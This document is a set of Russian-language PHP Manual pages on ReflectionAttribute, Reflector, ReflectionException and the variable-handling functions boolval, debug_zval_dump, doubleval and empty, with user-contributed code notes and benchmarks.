  • « ReflectionAttribute::getName
  • ReflectionAttribute::isRepeated »
  • PHP Manual
  • ReflectionAttribute
  • Возвращает цель атрибута в виде битовой маски

ReflectionAttribute::getTarget

(PHP 8)

ReflectionAttribute::getTarget — Возвращает цель атрибута в виде битовой маски

Описание

public ReflectionAttribute::getTarget(): int

Возвращает цель атрибута в виде битовой маски.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает цель атрибута в виде битовой маски.

User Contributed Notes

There are no user contributed notes for this page.


Определяет, был ли атрибут с таким именем указан многократно в элементе кода

  • « ReflectionAttribute::getTarget
  • ReflectionAttribute::newInstance »
  • PHP Manual
  • ReflectionAttribute
  • Определяет, был ли атрибут с таким именем указан многократно в элементе кода

ReflectionAttribute::isRepeated

(PHP 8)

ReflectionAttribute::isRepeated — Определяет, был ли атрибут с таким именем указан многократно в элементе кода

Описание

public ReflectionAttribute::isRepeated(): bool

Возвращает, был ли атрибут с таким именем указан многократно в элементе кода.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если атрибут использовался многократно, в противном случае возвращает false.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт экземпляр класса атрибута, используя содержащиеся в объекте ReflectionAttribute имя класса и аргументы

  • « ReflectionAttribute::isRepeated
  • Reflector »
  • PHP Manual
  • ReflectionAttribute
  • Создаёт экземпляр класса атрибута, используя содержащиеся в объекте ReflectionAttribute имя класса и аргументы

ReflectionAttribute::newInstance

(PHP 8)

ReflectionAttribute::newInstance — Создаёт экземпляр класса атрибута, используя содержащиеся в объекте ReflectionAttribute имя класса и аргументы

Описание

public ReflectionAttribute::newInstance(): object

Создаёт экземпляр класса атрибута, используя содержащиеся в объекте ReflectionAttribute имя класса и аргументы.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Новый экземпляр атрибута.

User Contributed Notes

baptiste at pillot dot fr 30-Jan-2023 11:07
Calling ReflectionAttribute::newInstance() using an attribute name that has a matching class without #[Attribute] will result in an error.

Example :

<?php
class FakeAttribute {}

#[FakeAttribute]
class Test {}

try {
    (new ReflectionClass(Test::class))->getAttributes()[0]->newInstance();
}
catch (Error $error) {
    echo 'Throwed error ' . get_class($error) . ' with message : ' . $error->getMessage();
}
?>

This will output :

Throwed error Error with message : Attempting to use non-attribute class "FakeAttribute" as attribute
baptiste at pillot dot fr 30-Jan-2023 11:06
Calling ReflectionAttribute::newInstance() using an attribute name that does not have a corresponding class will result in an error.

Example :

<?php
#[FakeAttribute]
class Test {}

try {
  (new ReflectionClass(Test::class))->getAttributes()[0]->newInstance();
}
catch (Error $error) {
  echo 'Throwed error ' . get_class($error) . ' with message : ' . $error->getMessage();
}
?>

This will output :

Throwed error Error with message : Attribute class "FakeAttribute" not found


Интерфейс Reflector

(PHP 5, PHP 7, PHP 8)

Введение

Интерфейс Reflector реализуют все экспортируемые Reflection-классы.

Обзор интерфейсов

interface Reflector extends Stringable {
/* Наследуемые методы */
public Stringable::__toString(): string
}

Список изменений

Версия | Описание
8.0.0 | Метод Reflector::export() был удалён.
8.0.0 | Класс Reflector теперь наследует Stringable. Он наследует Stringable::__toString(), заменяя Reflector::__toString().

Смотрите также

  • Reflector::export()

Содержание

  • Reflector::export — Экспорт

User Contributed Notes

There are no user contributed notes for this page.


Экспорт

  • « Reflector
  • ReflectionException »
  • PHP Manual
  • Reflector
  • Экспорт

Reflector::export

(PHP 5, PHP 7)

Reflector::export — Экспорт

Внимание

Эта функция УСТАРЕЛА начиная с PHP 7.4.0 и была УДАЛЕНА в PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

public static Reflector::export(): string

Экспорт.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • Reflection::__toString()

User Contributed Notes

There are no user contributed notes for this page.


Класс ReflectionException

(PHP 5, PHP 7, PHP 8)

Введение

Класс ReflectionException.

Обзор классов

class ReflectionException extends Exception {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

temirkhan.nasukhov 18-Apr-2019 11:50
Note that this exception is unchecked even if it is not based on RuntimeException.  Such error must lead to direct fixes in code and not in catch-handle of situation.

Also keep in mind that IDE (mine is Phpstorm 2018.3.4) inspections will highlight it for that reason so do not create phpdoc with throws for any Runtime exceptions.

<?php

/**
 * This way is wrong
 *
 * @throws \ReflectionException
 */
function createReflection()
{
    return new \ReflectionClass('invalid argument');
}

/**
 * This way is fine(I don't mean the code of course)
 */
function createReflection()
{
    return new \ReflectionClass('invalid argument');
}


Обработка переменных

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции для работы с переменными
    • boolval — Возвращает логическое значение переменной
    • debug_zval_dump — Сбрасывает строковое представление внутренней структуры zval на вывод
    • doubleval — Псевдоним floatval
    • empty — Проверяет, пуста ли переменная
    • floatval — Возвращает значение переменной в виде числа с плавающей точкой
    • get_debug_type — Возвращает имя типа переменной в виде, подходящем для отладки
    • get_defined_vars — Возвращает массив всех определённых переменных
    • get_resource_id — Возвращает целочисленный идентификатор для данного ресурса
    • get_resource_type — Возвращает тип ресурса
    • gettype — Возвращает тип переменной
    • intval — Возвращает целочисленное значение переменной
    • is_array — Определяет, представляет ли собой переменная массив
    • is_bool — Проверяет, представляет ли собой переменная логическое значение
    • is_callable — Проверяет, что значение может быть вызвано как функция в текущей области видимости
    • is_countable — Проверяет, представляет ли собой содержимое переменной счётное значение
    • is_double — Псевдоним is_float
    • is_float — Проверяет, представляет ли собой переменная число с плавающей точкой
    • is_int — Проверяет, представляет ли собой переменная целое число
    • is_integer — Псевдоним is_int
    • is_iterable — Проверяет, итерируемо ли содержимое переменной
    • is_long — Псевдоним is_int
    • is_null — Проверяет, равно ли значение переменной null
    • is_numeric — Проверяет, содержит ли переменная число или числовую строку
    • is_object — Проверяет, представляет ли собой переменная объект
    • is_real — Псевдоним is_float
    • is_resource — Проверяет, представляет ли собой переменная ресурс
    • is_scalar — Проверяет, представляет ли собой переменная скаляр
    • is_string — Проверяет, представляет ли собой тип переменной строку
    • isset — Определяет, была ли установлена переменная значением, отличным от null
    • print_r — Выводит удобочитаемую информацию о переменной
    • serialize — Генерирует пригодное для хранения представление переменной
    • settype — Задаёт тип переменной
    • strval — Возвращает строковое значение переменной
    • unserialize — Создаёт PHP-значение из хранимого представления
    • unset — Удаляет переменную
    • var_dump — Выводит информацию о переменной
    • var_export — Выводит или возвращает интерпретируемое строковое представление переменной

User Contributed Notes

There are no user contributed notes for this page.


Введение

Для более подробной информации о поведении и работе с переменными смотрите раздел "Переменные", секцию "Справочник языка" руководства.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Параметры конфигурации переменных
Имя | По умолчанию | Место изменения | Список изменений
unserialize_callback_func | null | INI_ALL |
unserialize_max_depth | "4096" | INI_ALL | Доступно, начиная с PHP 7.4.0.
Дополнительная информация и описания режимов INI_* даны в разделе «Места установки параметров конфигурации».

Краткое разъяснение конфигурационных директив.

unserialize_callback_func string

Если в процессе десериализации через unserialize() будет обнаружен неопределённый класс, то будет вызвана определённая callback-функция. Если указанная callback-функция не определена или не может определить отсутствующий класс, то будет выведено предупреждение.

Смотрите также unserialize() и раздел автозагрузки классов.

unserialize_max_depth int

Максимальная глубина структур, разрешённая при десериализации при использовании функции unserialize() и предназначенная для предотвращения переполнения стека. Это можно отключить, установив unserialize_max_depth=0.

Смотрите также unserialize() и раздел автозагрузки классов.

User Contributed Notes

There are no user contributed notes for this page.


Функции для работы с переменными

Содержание

  • boolval — Возвращает логическое значение переменной
  • debug_zval_dump — Сбрасывает строковое представление внутренней структуры zval на вывод
  • doubleval — Псевдоним floatval
  • empty — Проверяет, пуста ли переменная
  • floatval — Возвращает значение переменной в виде числа с плавающей точкой
  • get_debug_type — Возвращает имя типа переменной в виде, подходящем для отладки
  • get_defined_vars — Возвращает массив всех определённых переменных
  • get_resource_id — Возвращает целочисленный идентификатор для данного ресурса
  • get_resource_type — Возвращает тип ресурса
  • gettype — Возвращает тип переменной
  • intval — Возвращает целочисленное значение переменной
  • is_array — Определяет, представляет ли собой переменная массив
  • is_bool — Проверяет, представляет ли собой переменная логическое значение
  • is_callable — Проверяет, что значение может быть вызвано как функция в текущей области видимости
  • is_countable — Проверяет, представляет ли собой содержимое переменной счётное значение
  • is_double — Псевдоним is_float
  • is_float — Проверяет, представляет ли собой переменная число с плавающей точкой
  • is_int — Проверяет, представляет ли собой переменная целое число
  • is_integer — Псевдоним is_int
  • is_iterable — Проверяет, итерируемо ли содержимое переменной
  • is_long — Псевдоним is_int
  • is_null — Проверяет, равно ли значение переменной null
  • is_numeric — Проверяет, содержит ли переменная число или числовую строку
  • is_object — Проверяет, представляет ли собой переменная объект
  • is_real — Псевдоним is_float
  • is_resource — Проверяет, представляет ли собой переменная ресурс
  • is_scalar — Проверяет, представляет ли собой переменная скаляр
  • is_string — Проверяет, представляет ли собой тип переменной строку
  • isset — Определяет, была ли установлена переменная значением, отличным от null
  • print_r — Выводит удобочитаемую информацию о переменной
  • serialize — Генерирует пригодное для хранения представление переменной
  • settype — Задаёт тип переменной
  • strval — Возвращает строковое значение переменной
  • unserialize — Создаёт PHP-значение из хранимого представления
  • unset — Удаляет переменную
  • var_dump — Выводит информацию о переменной
  • var_export — Выводит или возвращает интерпретируемое строковое представление переменной

User Contributed Notes

aldemarcalazans@gmail 06-Oct-2019 08:57
I thought the PHP developers should include in this section, the operator "identity" ( see http://php.net/manual/en/language.operators.arithmetic.php).

From an arithmetic point of view, this operator is useless but, as a converter from string to number, it is great. It does not force the numerical string to have an integer or float type, instead, it automatically determines the adequate type, depending on the numerical quantity represented by the string.


Возвращает логическое значение переменной

  • « Функции для работы с переменными
  • debug_zval_dump »
  • PHP Manual
  • Функции для работы с переменными
  • Возвращает логическое значение переменной

boolval

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

boolval — Возвращает логическое значение переменной

Описание

boolval(mixed $value): bool

Возвращает логическое значение (bool) параметра value.

Список параметров

value

Скалярное значение, которое надо привести к типу bool.

Возвращаемые значения

Возвращает приведённое к логическому типу (bool) значение параметра value.

Примеры

Пример #1 Пример использования boolval()

<?php
echo '0: '.(boolval(0) ? 'true' : 'false')."\n";
echo '42: '.(boolval(42) ? 'true' : 'false')."\n";
echo '0.0: '.(boolval(0.0) ? 'true' : 'false')."\n";
echo '4.2: '.(boolval(4.2) ? 'true' : 'false')."\n";
echo '"": '.(boolval("") ? 'true' : 'false')."\n";
echo '"string": '.(boolval("string") ? 'true' : 'false')."\n";
echo '"0": '.(boolval("0") ? 'true' : 'false')."\n";
echo '"1": '.(boolval("1") ? 'true' : 'false')."\n";
echo '[1, 2]: '.(boolval([1, 2]) ? 'true' : 'false')."\n";
echo '[]: '.(boolval([]) ? 'true' : 'false')."\n";
echo 'stdClass: '.(boolval(new stdClass) ? 'true' : 'false')."\n";
?>

Результат выполнения приведённого примера:

0:        false
42:       true
0.0:      false
4.2:      true
"":       false
"string": true
"0":      false
"1":      true
[1, 2]:   true
[]:       false
stdClass: true

Смотрите также

  • floatval() - Возвращает значение переменной в виде числа с плавающей точкой
  • intval() - Возвращает целочисленное значение переменной
  • strval() - Возвращает строковое значение переменной
  • settype() - Задаёт тип переменной
  • is_bool() - Проверяет, представляет ли собой переменная логическое значение
  • Преобразование типов

User Contributed Notes

John Doe 16-Aug-2021 07:51
Type casting is the easiet and fastest way:

(bool)$value
Anonymous 18-Mar-2021 11:39
boolval('false') returns true.
boolval('False') return true.
uasenior at gmail dot com 28-Jan-2020 08:02
<?

// Some way to print boolean value as string

$b = true;

echo ['false', 'true'][$b];

?>
raphael.satyago 20-Jan-2015 09:20
function is_true($val, $return_null=false){
    $boolval = ( is_string($val) ? filter_var($val, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE) : (bool) $val );
    return ( $boolval===null && !$return_null ? false : $boolval );
}

// Return Values:

is_true(new stdClass);      // true
is_true([1,2]);             // true
is_true([1]);               // true
is_true([0]);               // true
is_true(42);                // true
is_true(-42);               // true
is_true('true');            // true
is_true('on')               // true
is_true('off')              // false
is_true('yes')              // true
is_true('no')               // false
is_true('ja')               // false
is_true('nein')             // false
is_true('1');               // true
is_true(NULL);              // false
is_true(0);                 // false
is_true('false');           // false
is_true('string');          // false
is_true('0.0');             // false
is_true('4.2');             // false
is_true('0');               // false
is_true('');                // false
is_true([]);                // false
Matt M 09-Jan-2015 05:27
To anyone like me who came here looking for a way to turn any value into a 0/1 that will fit into a MySQL boolean (tinyint) field:

<?php
$tinyint = (int) filter_var($valToCheck, FILTER_VALIDATE_BOOLEAN);
?>

tinyint will be 0 (zero) for values like string "false", boolean false, int 0

tinyint will be 1 for values like string "true", boolean true, int 1

Useful if you are accepting data that might be from a language like Javascript that sends string "false" for a boolean false.
Babak Bandpey 13-May-2014 09:14
I believe that the double negation !! can perform the same task with the same result if your PHP is not up2date

var_dump(!!1, !!0, !!"test", !!"");

outputs:
boolean true

boolean false

boolean true

boolean false

May the life be good to you.
Anonymous 30-Dec-2013 05:12
A misspell in v2.0.
:-)

Hack v2.1

<?php

if( ! function_exists('boolval'))
{
    /**
     * Get the boolean value of a variable
     *
     * @param mixed The scalar value being converted to a boolean.
     * @return boolean The boolean value of var.
     */
    function boolval($var)
    {
        return !! $var;
    }
}

?>
info at lomalkin dot ru 15-Mar-2013 11:08
<?

// Hack for old php versions to use boolval()

if (!function_exists('boolval')) {
        function boolval($val) {
                return (bool) $val;
        }
}
?>


Сбрасывает строковое представление внутренней структуры zval на вывод

  • « boolval
  • doubleval »
  • PHP Manual
  • Функции для работы с переменными
  • Сбрасывает строковое представление внутренней структуры zval на вывод

debug_zval_dump

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

debug_zval_dump — Сбрасывает строковое представление внутренней структуры zval на вывод

Описание

debug_zval_dump(mixed $value, mixed ...$values): void

Функция сбрасывает на вывод строковое представление внутренней структуры zval (значение Zend). По большей части информация приносит пользу в вопросе понимания или отладки деталей работы движка Zend Engine или модулей PHP.

Список параметров

value

Обрабатываемая переменная.

values

Следующие переменные или значения для вывода.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования функции debug_zval_dump()

<?php

$var1 = 'Hello';
$var1 .= ' World';
$var2 = $var1;

debug_zval_dump($var1);

?>

Результат выполнения приведённого примера:

string(11) "Hello World" refcount(3)

Замечание: Понимание refcount

Значение refcount, которое показывает функция, может вызвать удивление без глубокого понимания деталей работы движка.

Zend Engine подсчитывает ссылки по двум причинам:

  • Оптимизация потребления памяти за счёт техники, которая называется «?копирование при записи», когда несколько переменных с одним и тем же значением указывают на одну и ту же копию в памяти. Когда одна переменная изменяется, она указывает на новую копию в памяти, а счётчик ссылок на оригинал уменьшается на 1.
  • Отслеживание переменных, которые были назначены или переданы по ссылке (смотрите «Объяснение ссылок»). Этот счётчик ссылок хранится в отдельной ссылке структуры zval, которая указывает на структуру zval текущего значения. Функция debug_zval_dump() пока не показывает эту дополнительную структуру zval.

Поскольку функция debug_zval_dump() принимает входные данные как обычные параметры, передаваемые по значению, для их передачи будет выполняться метод копирования при записи: вместо копирования данных счётчик ссылок увеличится на единицу на время вызова функции. Если бы функция изменила параметр после получения, то движок сделал бы копию; поскольку это не так, функция покажет счётчик ссылок на единицу больше, чем в вызывающей области.

Передача параметра также предотвратит отображение функцией debug_zval_dump() переменных, которые были назначены по ссылке. Чтобы проиллюстрировать это, приведём немного изменённую версию примера:

<?php

$var1 = 'Hello';
$var1 .= ' World';

// Укажите три переменные как ссылки на одно и то же значение
$var2 =& $var1;
$var3 =& $var1;

debug_zval_dump($var1);

?>

Результат выполнения приведённого примера:

string(11) "Hello World" refcount(2)

Хотя переменные $var1, $var2 и $var3 связаны как ссылки, в функцию debug_zval_dump() передаётся только значение. Это значение обрабатывается один раз набором ссылок и один раз внутри функции debug_zval_dump(), поэтому счётчик ссылок равен 2.

Дополнительные сложности возникают из-за оптимизаций, которые проводит движок для разных типов данных. Для ряда типов, например целых чисел, движок не использует «копирование при записи», поэтому вообще не показывает счётчик ссылок. В других случаях счётчик refcount показывает дополнительные копии, которые движок создаёт внутри, например, когда сохраняет литеральную строку или массив как часть инструкции кода.

Смотрите также

  • var_dump() - Выводит информацию о переменной
  • debug_backtrace() - Генерирует стек вызовов функций
  • Раздел «Объяснение ссылок»
  • Статья » Объяснение PHP-ссылок, которое даёт Derick Rethans

User Contributed Notes

Hayley Watson 09-Jul-2019 11:01
If you're finding the interpretation of refcount confusing, the Xdebug extension offers a function similar to this one, but because the variable name is passed as a string, xdebug_debug_zval() doesn't scribble on the refcount with its own references to the zval.


Псевдоним floatval

  • « debug_zval_dump
  • empty »
  • PHP Manual
  • Функции для работы с переменными
  • Псевдоним floatval

doubleval

(PHP 4, PHP 5, PHP 7, PHP 8)

doubleval — Псевдоним floatval()

Описание

Псевдоним функции floatval().

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, пуста ли переменная

  • « doubleval
  • floatval »
  • PHP Manual
  • Функции для работы с переменными
  • Проверяет, пуста ли переменная

empty

(PHP 4, PHP 5, PHP 7, PHP 8)

empty — Проверяет, пуста ли переменная

Описание

empty(mixed $var): bool

Проверяет, считается ли переменная пустой. Переменная считается пустой, если она не существует или её значение равно false. Языковая конструкция empty() не генерирует предупреждение, если переменная не существует.

Список параметров

var

Проверяемая переменная.

Если переменная не существует, предупреждение не генерируется. То есть конструкция empty() — это краткий эквивалент конструкции !isset($var) || $var == false.

Возвращаемые значения

Возвращает true, если переданная в параметр var переменная не существует, содержит пустое значение или равно нулю, то есть ложно, подробнее о приведении значений к логическим типам рассказано в параграфе преобразование в логический тип. В остальных случаях возвращает false.

Примеры

Пример #1 Простое сравнение языковых конструкций empty() и isset().

<?php
$var = 0;

// Принимает значение true, потому что переменная $var содержит пустое значение
if (empty($var)) {
echo '$var или 0, или пусто, или вообще не определена';
}

// Принимает значение true, потому что переменная $var определена
if (isset($var)) {
echo '$var определена, даже если она пустая';
}
?>

Пример #2 Конструкция empty() и строковые индексы

<?php
$expected_array_got_string = 'somestring';
var_dump(empty($expected_array_got_string['some_key']));
var_dump(empty($expected_array_got_string[0]));
var_dump(empty($expected_array_got_string['0']));
var_dump(empty($expected_array_got_string[0.5]));
var_dump(empty($expected_array_got_string['0.5']));
var_dump(empty($expected_array_got_string['0 Mostel']));
?>

Результат выполнения приведённого примера:

bool(true)
bool(false)
bool(false)
bool(false)
bool(true)
bool(true)

Примечания

Замечание: Поскольку это языковая конструкция, а не функция, её нельзя вызывать как переменную функцию или передавать как именованный аргумент.

Замечание:

При вызове языковой конструкции empty() на недоступных (необъявленных, защищённых или закрытых) свойствах объекта вызывается метод перегрузки — __isset(), если он определён.

Смотрите также

  • isset() - Определяет, была ли установлена переменная значением, отличным от null
  • __isset()
  • unset() - Удаляет переменную
  • array_key_exists() - Проверяет, существует ли в массиве заданный ключ или индекс
  • count() - Подсчитывает количество элементов в массиве или в объекте Countable
  • strlen() - Получает длину строки
  • Таблица сравнения типов

User Contributed Notes

mmulej at gmail dot com 30-Dec-2022 11:28
Tests on
- Win 11
- Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz   2.21 GHz
- 64Gb RAM,
- PHP 8.1.10 (in Tinkerwell)
repeatedly show `empty` > `count` > `=== []`, but the margin is small and not worth the micro-optimizations.

Note: Same results (with `$n = 10000000`) for PHP v7.4.33 using onlinephp(dot)io sandbox tool.

<?php

$test = range(0, 1000);
$test2 = [];
$n = 1000_000_000;

$t1 = microtime(true); for ($x = 0; $x < $n; $x++) if (count($test)) {}
$t2 = microtime(true); for ($x = 0; $x < $n; $x++) if (count($test2)) {}
$t3 = microtime(true); for ($x = 0; $x < $n; $x++) if ($test === []) {}
$t4 = microtime(true); for ($x = 0; $x < $n; $x++) if ($test2 === []) {}
$t5 = microtime(true); for ($x = 0; $x < $n; $x++) if (empty($test)) {}
$t6 = microtime(true); for ($x = 0; $x < $n; $x++) if (empty($test2)) {}
$t7 = microtime(true);

echo "count(\$test):  " . ($t2 - $t1) . " sec\n";
echo "count(\$test2): " . ($t3 - $t2) . " sec\n";
echo "\$test === []:  " . ($t4 - $t3) . " sec\n";
echo "\$test2 === []: " . ($t5 - $t4) . " sec\n";
echo "empty(\$test):  " . ($t6 - $t5) . " sec\n";
echo "empty(\$test2): " . ($t7 - $t6) . " sec\n";

?>

Results:
<?php
count($test):  18.034885168076 sec
count($test2): 17.133869886398 sec
$test === []:  20.059770107269 sec
$test2 === []: 14.204195022583 sec
empty($test):  13.583840847015 sec
empty($test2): 12.971315145493 sec
?>
Lukas 05-May-2022 02:36
<?php

// Difference of empty() vs. isset()

$testCase = array(
    1 => '',
    2 => ' ',
    3 => null,
    4 => array(),
    5 => false,
    6 => true,
    7 => '0',
    8 => 0,
);

foreach ($testCase as $k => $v) {
    echo "<br> $k => " . strval($v) . " " . (empty($v) ? "is empty" : "is not empty") . " / " . (isset($v) ? "is set" : "is not set");
}

/*
RESULT:
 1 =>  is empty / is set
 2 =>   is not empty / is set
 3 =>  is empty / is not set
 4 => Array is empty / is set
 5 =>  is empty / is set
 6 => 1 is not empty / is set
 7 => 0 is empty / is set
 8 => 0 is empty / is set
*/
info at ensostudio dot ru 22-Jul-2021 09:11
Multiple empty():
<?php
/**
 * Multiple empty().
 *
 * @param mixed[] $vars Variables to test
 * @return bool
 */
function multi_empty(& ...$vars)
{
    // no callback is supplied, all empty values will be removed
    return array_filter($vars) === [];
}
?>
example:
<?php
$notEmptyVar = 1;
$emptyVar = null;
// $undefinedVar - not defined

multi_empty($emptyVar); // true
multi_empty($emptyVar, $undefinedVar); // true
multi_empty($notEmptyVar , $emptyVar); // false
multi_empty($notEmptyVar , $emptyVar, $undefinedVar); // false
?>
pm1625637 at gmail dot com 05-Dec-2019 02:11
Be careful about this  :

<?php
$del = '';
echo empty($del);
?>

Output : 1
markmanning at gmail dot com 23-Mar-2019 09:15
I normally count() an array, so I wanted to see how empty() would stack up.

<?php
    $test = array();
    $test2 = array();
    for ($x = 0; $x < 1000; $x++)  $test[] = $x;

    $ts = microtime(true);
    for ($x = 0; $x < 100000000; $x++)
    {
        if (count($test))
        {
        }
    }

    echo "Time taken:  " . (microtime(true) - $ts) . " sec\n";
?>

For 100,000,000 comparisons, here are the results against PHP 7.2.16 on my hardware:

count($test):  2.697 sec
count($test2):  2.596 sec
$test === array():  2.579 sec
$test2 === array():  2.552 sec
empty($test):  3.085 sec
empty($test2):  3.113 sec

In short, it doesn't matter what method is used although empty() is actually just ever so slightly slower despite it being a language construct.  YMMV.
fahimcseiiuc at gmail dot com 25-Feb-2019 10:02
<?php

    /*"" (an empty string)
      0 (0 as an integer)
      0.0 (0 as a float)
      "0" (0 as a string)
      NULL
      FALSE
      array() (an empty array)*/

$anEmptyString = "";
empty($anEmptyString);
if(empty($anEmptyString) == TRUE){
    echo "TRUE";
} else{
    echo "FALSE";
}
echo "<hr>";         //line break

$anIntegerNumber = 0;
empty($anIntegerNumber);
if(empty($anIntegerNumber) == TRUE){
    echo "TRUE";
} else{
    echo "FALSE";
}
echo "<hr>";         //line break

$aFloatNumber = 0.0;
empty($aFloatNumber);
if(empty($aFloatNumber) == TRUE){
    echo "TRUE";
} else{
    echo "FALSE";
}
echo "<hr>";       //line break

$aZeroValuedString = "0";
empty($aZeroValuedString);
if(empty($aZeroValuedString) == TRUE){
    echo "TRUE";
} else{
    echo "FALSE";
}
echo "<hr>";        //line break

$aNULL = NULL;
empty($aNULL);
if(empty($aNULL) == TRUE){
    echo "TRUE";
} else{
    echo "FALSE";
}
echo "<hr>";        //line break

$aBooleanFALSE = FALSE;
empty($aBooleanFALSE);
if(empty($aBooleanFALSE) == TRUE){
    echo "TRUE";
} else{
    echo "FALSE";
}
echo "<hr>";        //line break

$anEmptyArray = array();
empty($anEmptyArray);
if(empty($anEmptyArray) == TRUE){
    echo "TRUE";
} else{
    echo "FALSE";
}
echo "<hr>";       //line break

?>
GazetteSDF 21-Sep-2018 09:02
For the verification of a form, to "block" entries such as a simple space or other, I thought of this combination:

function isEmpty($string){
    $val = preg_replace('#[^A-Za-z0-9]+#', '', $string) ;
    $val = trim($string, '');
    return ($string=='') ;
}

This protects entries like: ' ' ,'  -  ', '. - +', ... On entries like name, profession, ... it's helpful
xzero at elite7hackers dot net 13-Jul-2017 11:36
Note that empty() will return false on null byte. Eg.

<?php
// Save to variable, so it works on older PHP versions
$null_byte = chr(0); // === \0

var_dump(
    empty(null),
    empty($null_byte)
);
/**
 * Results:
 *
 * bool(true)
 * bool(false)
 */
wranvaud at gmail dot com 02-Jul-2017 06:22
Note that if your variable only has an "end of line" (aka carriage return), PHP_EOL it is not considered as empty. Since end of lines are not always easy to spot this can be confusing.
Claudio Galdiolo 25-Mar-2017 12:20
Warning: an "empty" object is NOT considered to be empty
<?php
$var = new stdClass(); // "empty" object
var_dump(empty($var)); // bool(false)
?>

I don't know if there is a standard way to test for "empty" objects, I personally use array casting:
<?php
$var = new stdClass(); // "empty" object
$var = (array) $var; // cast to empty array
var_dump(empty($var)); // bool(true)
?>
mcfogw at gmail dot com 08-May-2016 02:40
I'm comparing behavior of `!` and `empty()`, find an undocumented behavior here.

just like cast-to-boolean, `empty()` cares about if SimpleXML object is made from emty tags.

`empty(simplexml_load_string('<root />'))` is TRUE

this behavior begins from php 5.1.0~7, in 5.0.x that's FALSE

proof here => https://3v4l.org/74Tc4
Javier Alfonso 11-Mar-2016 01:05
If you test an element of an array (like $_POST['key]), it test if the key doesn't exist or if it exist if its value is empty and never emit a warning.

For who don't want to test what happen if passed an array element here is my test and result.

<?php
$a = array();
$b = array('key');
$c = array('key' => false);
$d = array('key' => 'La verdad nos hace libres');

echo (empty($a['key'])?'A empty':'A not empty'), ' - ', (empty($b['key'])?'B empty':'B not empty'), ' - ', (empty($c['key'])?'C empty':'C not empty'), ' - ', (empty($d['key'])?'D empty':'D not empty');
?>

And the result is:

    A empty - B empty - C empty - D not empty
your dot brother dot t at hotmail dot com 25-Dec-2014 09:38
(experienced in PHP 5.6.3) The `empty()` can't evaluate `__get()` results explicitly, so the `empty()` statement bellow always renders true
<?php
class Juice extends Liquid{
   protected $apple;
   protected $orange;
   public function __get($name) {
      return $this->$name;
   }
   public function __construct($apple, $orange) {
      $this->apple = $apple;
      $this->orange = $orange;
   }
}

class Glass {
   protected $liquid;
   public function __get($name) {
      return $name == "liquid" ? $this->liquid : false;
   }
   public function __construct() {
      $this->juice = new Juice(3, 5);
   }
}

$glass = new Glass();
var_dump(empty($this->liquid->apple));

/**
 * The output is:
 * bool(true)
 */
?>

The correct way is to force the evaluation of `__get()` first, by using extra braces around implicit statements like this:
<?php
var_dump(empty(($this->liquid->apple)));

/**
 * The output is:
 * bool(false)
 */
?>

So if you are using packages that utilize object oriented designs and magic methods like `__get()`, it's a good practice to always use double braces for `empty()` calls.
chrisdmiddleton at gmail dot com 09-Sep-2014 08:37
If you want to use empty() to evaluate an expression (not a variable), and you don't have PHP 5.5+, you can do it by wrapping the call to empty in a function, like so:
<?php
function is_empty($var) {

    return empty($var);

}
?>
Then you can do something like
<?php
if(is_empty(NULL)) {
 /* ... */
}
?>
without issue, since the local variable $var is being tested rather than the expression in the function call itself.
Nanhe Kumar 31-Jan-2014 10:17
<?php
/**
* @author :  Nanhe Kumar <nanhe.kumar@gmail.com>
* List of all empty values
**/

$testCase = array(
    1 => '',
    2 => "",
    3 => null,
    4 => array(),
    5 => FALSE,
    6 => NULL,
    7=>'0',
    8=>0,

);

foreach ($testCase as $k => $v) {
    if (empty($v)) {
        echo "<br> $k=>$v is empty";
    }
}
/**
Output
1=> is empty
2=> is empty
3=> is empty
4=>Array is empty
5=> is empty
6=> is empty
7=>0 is empty
8=>0 is empty
**/
?>
martin dot aarhof at gmail dot com 15-Mar-2012 08:38
<?php
$str = '            ';
var_dump(empty($str)); // boolean false
?>

So remember to trim your strings first!

<?php
$str = '        ';
$str = trim($str);
var_dump(empty($str)); // boolean true
?>
qeremy 07-Mar-2012 03:33
Simple solution for: "Fatal error: Can't use function return value in write context in ..."

<?php
function _empty($val) { return empty($val); }
?>
chris dot wisefool at gmail dot com 09-Sep-2011 12:44
Note that checking the existence of a subkey of an array when that subkey does not exist but the parent does and is a string will return false for empty.

i.e.

<?php
$params = array('search'=>'1');
empty($params['search']['filter']); # returns false
?>

This is correct, per the documentation (http://php.net/manual/en/language.types.string.php); quite a bit down the page is the Warning: "Writing to an out of range offset pads the string with spaces. Non-integer types are converted to integer." ) I didn't receive a warning but perhaps that's correct too...depends on whether the string -> integer conversion is considered "illegal": "Illegal offset type emits E_NOTICE."

(i.e. since $params['search'] is a string, the 'filter' subscript is converted to 0, so the test becomes empty($params['search'][0]), which is obviously false), but it tripped me up enough to mistakenly file a bug report (which I've since closed).
steven at nevvix dot com 02-May-2011 09:16
When you need to accept these as valid, non-empty values:
- 0 (0 as an integer)
- 0.0 (0 as a float)
- "0" (0 as a string)

<?php
function is_blank($value) {
    return empty($value) && !is_numeric($value);
}
?>

This is similar to Rails' blank? method.
